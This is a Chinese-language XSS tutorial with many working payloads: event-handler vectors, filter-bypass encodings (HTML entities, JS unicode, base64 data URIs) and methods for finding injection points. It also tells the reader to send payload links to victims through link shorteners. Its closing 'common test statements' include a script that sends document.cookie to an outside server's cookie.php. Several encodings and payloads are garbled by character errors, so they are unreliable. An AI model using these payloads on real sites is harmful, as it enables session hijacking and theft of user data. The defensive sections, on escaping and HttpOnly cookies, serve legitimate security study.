XSS跨站请求攻击
一、同源策略
同源策略(Same-0rigin Policy),就是为了保证互联网之中,各类资源的安全性而诞生的产物,它实际上是一个众多浏览器厂商共同遵守的约定同源策略是浏览器中最基本的安全功能。缺少同源策略,很多浏览器的常规功能都会受到影响,可以说Web是构建在同源策略基础之上的。
浏览器的同源策略,限制了不同源的document或是脚本,对当前document或资源及其属性的读写权限。
同源策略是一种安全思想,但并不是统一的规范体系。不同语言脚本以及插件,它们的同源策略规则也不尽相同,不可一概而论。
javaScript中的同源,需要对比两者中的协议、域名、端口。三者完全相同才认为是同源的,否则即是来自不同源的内容。

Cookie防护:禁止JS代码读取cookiehttp-only cookie保护
在HTML语言中,有部分标签在引用第三方资源时,不受同源策略的限制:
<script> <script src=http://xss.tv/jquery.js>
<img> <img src=http://edu.xss.tv/back.jpg>
<iframe src= http://hacker.wang/c.>
<link>等等
上述这种带src属性的标签,在加载时,实际是生成一条GET请求,向指定服务器申请资源。
二、前言
跨站:从字面来解析,因为这个“跨”实际上是浏览器的特性,而不是缺陷,造成“跨”这样的假象是因为绝大多数XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源。<script src=http://www.evil.com/evil. js>
脚本:跨站脚本重点已经不在“跨站”这个字母上,而是“脚本”。脚本主要是有两个:JavaScript和ActionScript。
三、XSS原理
跨站脚本攻击(Cross Site Scripting)的缩写,为了不和层叠样式表(Cascading Style Sheets,Css)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的
用户提交的数据没有过滤,或者过滤不严格,输出到网页中,导致可以构造执行JS代码,或者修改网页内容。
四、XSS危害
获取用户或者管理员的Cookie
XSS Worm
挂马(水坑攻击)
有局限性的键盘记录
......
五、XSS分类
反射型XSS 非持久型XSS
存储型XSS 持久型XSS
DOM XSS非持久型XSS
Flash XSS
PDF XSS
1、反射型XSS
反射型XSS又称为非持久型XSS。XSS代码出现在URL参数或者请求中,浏览器发出请求时,参数值作为输入提交到服务器,服务器接受这个参数并处理后,参数值出现在响应的HTML中,最后浏览器解析执行了这段XSS代码:
反射型XSS利用过程(可以考虑使用短链接)
1.恶意的攻击者发给受害者一个链接(链接中携带xss代码)
2.攻击者诱使受害者点开这个链接
3.XSS代码被提交到有XSS漏洞的web应用程序上
4.WEB应用程序没有过滤提交上来的数据,或者过滤不严格。
5.WEB应用程序输出用户提交上来的数据(包含XSS代码)
6.用户浏览器渲染返回的HTML页面,执行返回的JavaScript代码
7.恶意的javascript代码在后台悄悄执行,获取用户信息
<script><script>alert("xss");</script><img><img src=1 onerror=alert("xss");><input><input onfocus="alert('xss');">竞争焦点,从而触发onblur事件<input onblur=alert("xss") autofocus> <input autofocus>通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<input onfocus="alert('xss');" autofocus><details><details ontoggle="alert('xss');">使用open属性触发ontoggle事件,无需用户去触发<details open ontoggle="alert('xss');"><Svg><svg onload= 'alert("xss")' ><select><select onfocus=alert(1)> </select>通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<select onfocus=alert(1) autofocus>

==将这一整段发给受害者==




2、存储型XSS
存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是攻击脚本将被永久地存放在目标服务器的数据库或文件中。

存储型XSS利用过程
1.恶意的攻击者在存在XSS漏洞的网站提交一段XSS代码
2.Web应用程序接受提交数据,没有过滤或者过滤不严格
3.写入到数据库中或者是文件中
4.受害者访问这个存在XSS恶意代码的页面时
5.Web应用程序从数据库或者是从文件中读取之前恶意攻击者提交的代码
6.Web应用服务器返回这段数据
7.受害者浏览器渲染返回的HTML页面,执行返回的JavaScript代码
8.恶意的javascript代码在后台悄悄执行,获取用户信息。
获取cookie
https://xssaq.com/



3、DOM XSS
对象模型(Document Object Model),即大名鼎鼎的DOM。
DOM可以被认为是一种通过将页面元素以对象的树形方式表现,以便由Javascript组织处理的实现方法。

常用的DOM方法
用户可通过 JavaScript (以及其他编程语言)对 HTML DOM 进行访问。所有HTML元素被定义为对象,而编程接口则是对象方法和对象属性。

DOM XSS与反射型XSS和存储型XSS的差别是在于DOM XSS的代码不需要服务器解析响应的直接参与,触发XSS漏洞靠的是浏览器DOM解析器的解析,和服务器没有直接关系,可以完全认为是客户端的事情。第二个,往往查看源码无法找到我们拼凑进去的标签。
'onclick=alert(/xss/)//

<?php
$js_inject=htmlspecialchars($_GET['inject'],ENT_QUOTES);
$js="<script>$js_inject</script>";
echo$js;
?>
<?php
$js_inject=htmlspecialchars($_GET['inject']);
$js="< img src='$js_inject'>";
echo $js;
?>

反射型与DOM型区别:反射型在GET或者POST都能看到恶意代码,需要服务器参与解析,DOM不需要服务器解析,是由客户端来执行,反射型可以在源代码里看见,而DOM型在源代码里看不见
4、Flash XSS
利用的是网页上flash文件缺陷来执行js脚本,一般是反射型xss
5、PDF XSS
https://blog.csdn.net/qq_48201589/article/details/135856195
六、常见编码:
1、URL编码
一个百分号和该字符的ASCII编码所对应的2位十六进制数字
例如“/”的URL编码为%2F
#%23
.%2e
+%2b
<%3c
>%3e
!%21
空格 %20
&%26
(%28
)%29
"%22
'%27
双URL编码:对URL编码再进行一次编码%27 --> %2527
浏览器默认会将特殊的字符进行url编码,然后服务器会自动的进行一次url解码
利用场景
Data协议使用方法data:资源类型;编码,内容
到目前为止 遇到使用base64编码的情况 大多数是这样
<a href="可控点">
<iframe src="可控点">
在这种情况下 如果过滤了<>'"javascript 的话 那么要xss可以这样写然后利用base64编码!
将<img src=x onerror=alert(1)>整条base64编码为PG1tZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==
Javascript:伪协议后面可以使用URL编码。
如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗
可用img就不行:<img src=1 onerror=" javascript:%61lert(1)"
因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%6llert(1)">click me</a>
Data协议使用方法
data:资源类型;编码类型,内容
<script>alert(1)</script><img src=1 onerror=alert(1)>
(新版浏览器已经不支持a标签,旧版firefox56版本支持a标签的script标签弹窗)
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg==">111</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<!--<script>alert(1)</script>object 旧版新版火狐以及chrome支持-->
<!--<img src=l onerror=alert(1)>object 旧版新版火狐都不支持,chrome支持-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> </iframe> (img弹窗chrome支持,ie支持,script弹窗chrome,firefox,ie都支持)
2、HTML实体编码
以&开头,分号结尾的。例如“<”的编码是"&1t;"
HTML字符编码(10进制与16进制)
例如“<”
html十进制:<
html十六进制:<
利用场景
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。
在js中,单引号,双引号和圆括号和重音号等属于控制字符,编码后将无法识别。
如<img src=1 onerror="u0061u006cu0065u0072u0074(1)”>这种可以弹窗.
<img src=1 onerror="u0061u006cu0065u0072u0074`1`">
onerror支持:html10,html16,jsunicode,不支持js8进制和js16进制
HTML十进制和十六进制编码的分号是可以去掉的。
实体编码的数字前可以加上很多的0进行绕过WAF,如 
如以下代码可成功执行:
<img src=1
onerror="alert('xss')">
97:a 108:l 101:e 114:r 116:t 40:( 39:' 120:x 115:s 39:' 41:)
<img src=1
onerror="alert('xss')">
3、JavaScript编码
js提供了四种字符编码的策略
1、三个八进制数字,如果不够个数,前面补0,例如“<”编码为“ 74”
2、两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“x3c”
3、四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“u003c”
4、对于一些控制字符,使用特殊的C类型的转义风格(例如n和r)
Javascript伪协议在属性值中都可以使用
如<a href="javascript:alert('xss’)">111</a>点击111后触发弹窗。
javascript中只识别几种编码:Jsunicode
根本上,后面的是一开始就解析了,并不是javascript解析器解析的html10 html16进制
<a href="javascript:u0061u006cu0065u0072u0074�x28;1�x29;">111</a>



4、HTML5 新增的实体命名编码
:=>[冒号]

=>[换行]
如<a href="javasc
ript:alert(1)">click</a>
<a href="javascript:alert(1)"
解析器一般将工作分配给两个组件--词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
#1.可以用html16,html10编码href属性中的字符
#2.可以使用换行符rn,

#3.还可以使用: =>[冒号]
5、代码执行函数
你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
eval("document.write('11111'),")
setTimeout() 在几秒之后执行某个函数
setInterval()几秒后循环执行
以上都是会将字符串当做js代码执行的函数!
var search=“可控点”:(Unicode编码,8进制编码,16进制编码)
document.getElementByld("id").innerHTML=search;
document.write()
innerHTML
以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 < > ' " & % 等等这些!然后再输出到页面上!

七、XSS触发方式
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
利用换行符以及autofocus,自动去触发onscrol事件,无需用户去触发
八、XSS挖掘
看URL参数输出的位置
看输入框输出位置
一般我们在判断是否存在xss的时候,会首先输入类似于下面的字符串:123456<>" '然后右键查看源代码,看我们输入的特殊字符串是否在页面中显示,如果没显示,则可能存在dom型xss,也有可能不存在xss.如果存在,重点看我们输入的特殊的字符是否被转义,如果没被转义基本上可以判断存在xss,剩下的只是如何构造的问题.如果被转义了,则需要首先看是所有的都被转义了,还是部分,如果是部分,则考虑当前位置能否使用未转义的符号进行拼接。
输出点位置
1、输出在(尖括号外)
<div>输出点</div>
需要可以构造标签,如果不能构造标签就不存在XSS漏洞。
2、输出到尖括号中
如果输出在"双引号或者’单引号内部,需要能够闭合引号,如果不能闭合引号,就需要看能否在当前的标签属性中执行js代码,如果不能,就不存在xSS漏洞。
<?php
$js_inject = htmlspecialchars($_GET['inject'],ENT_QUOTES );
$js = "dianji";
$ji = "<a href='$js_inject'>dianji</a>"
echo $js;
?>
如果可以闭合引号,可以构造一个新的属性,使用新的属性的值来执行JS代码,比如事件属性。或者闭合尖括号,构造的新的标签也可以。
3、输出到Script标签中
(1) 如果输出在"双引号或者’单引号内部,需要能够闭合引号,如果可以闭合引号,就可以直接传递进去js代码,使用注释符号(//),注释掉后面的js代码就可以构造XSS
(2)如果不能闭合引号,需要看当前变量能不能innerHTML或者document.write,插入到网页中,如果可以就可以构造XSS,如果没有,就不存在XSS
<?php
$js_inject = htmlspecialchars($_GET['inject'], ENT_QUOTES);
$js = "<script> document.write('<script>$js_inject</script>')</script>";
echo $js;
?>
九、XSS防御
对XSS的防御需要根据实际情况对用户的输入进行严格的过滤。基于过滤的XSS防御方式通常可分为两种:基于黑名单的过滤和基于白名单的过滤。后者的防御效果往往更好,对于用户在白名单之外的输入,可以直接忽略。在构造白名单的过程中需要保证在不影响用户体验的同时,尽可能杜绝一切不必要的输入内容。
在cookie中加入httponly属性可以在一定程度上保护用户的cookie,减少出现XSS时损失
Apache HTTP Server 2.2.x多个版本没有正确严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时服务器返回400(Bad Request)错误,并在返回信息中将出错请求头内容爆出,攻击者可以利用该漏洞获取httponly cookies。
https://blog.csdn.net/god 7zl/article/details/25321761
https://helpcdn.aliyun.com/knowledge detai1/37530.html
Flash XSS的修复需要对相应的flash进行修改或升级替换。使用函数对输入进行实体编码和转义()echo htmlspecialchars("<>'"",ENT QUOTES);
echo addslashes("'""):
https://blog.csdn.net/weixin_50464560/article/details/119672720

https://www.runoob.com/tags/ref-eventattributes.html
短链接网址:
https://www.985.so/
https://www.sina.lt/
https://tiansc.top/short/#/
'></a> <img src="x"onerror=alert`666`><a'
htmlspecialchars() 函数
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
htmlspecialchars($str, ENT_COMPAT)
可用的引号类型:
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
无效的编码:
ENT_IGNORE - 忽略无效的编码,而不是让函数返回一个空的字符串。应尽量避免,因为这可能对安全性有影响。
ENT_SUBSTITUTE - 把无效的编码替代成一个指定的带有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一个空的字符串。
ENT_DISALLOWED - 把指定文档类型中的无效代码点替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;。
规定使用的文档类型的附加 flags:
ENT_HTML401 - 默认。作为 HTML 4.01 处理代码。
ENT_HTML5 - 作为 HTML 5 处理代码。
ENT_XML1 - 作为 XML 1 处理代码。
ENT_XHTML - 作为 XHTML 处理代码。
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> </iframe>
常用测试语句:
<script>alert`666`</script>添加事件进行测试<img src='X' onerror=alert`666`><button onclick=alert`888`>测试</button>弹cookie:<script>alert(document.cookie)</script><script>document.location = 'http://192.168.10.12:100/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>











暂无评论内容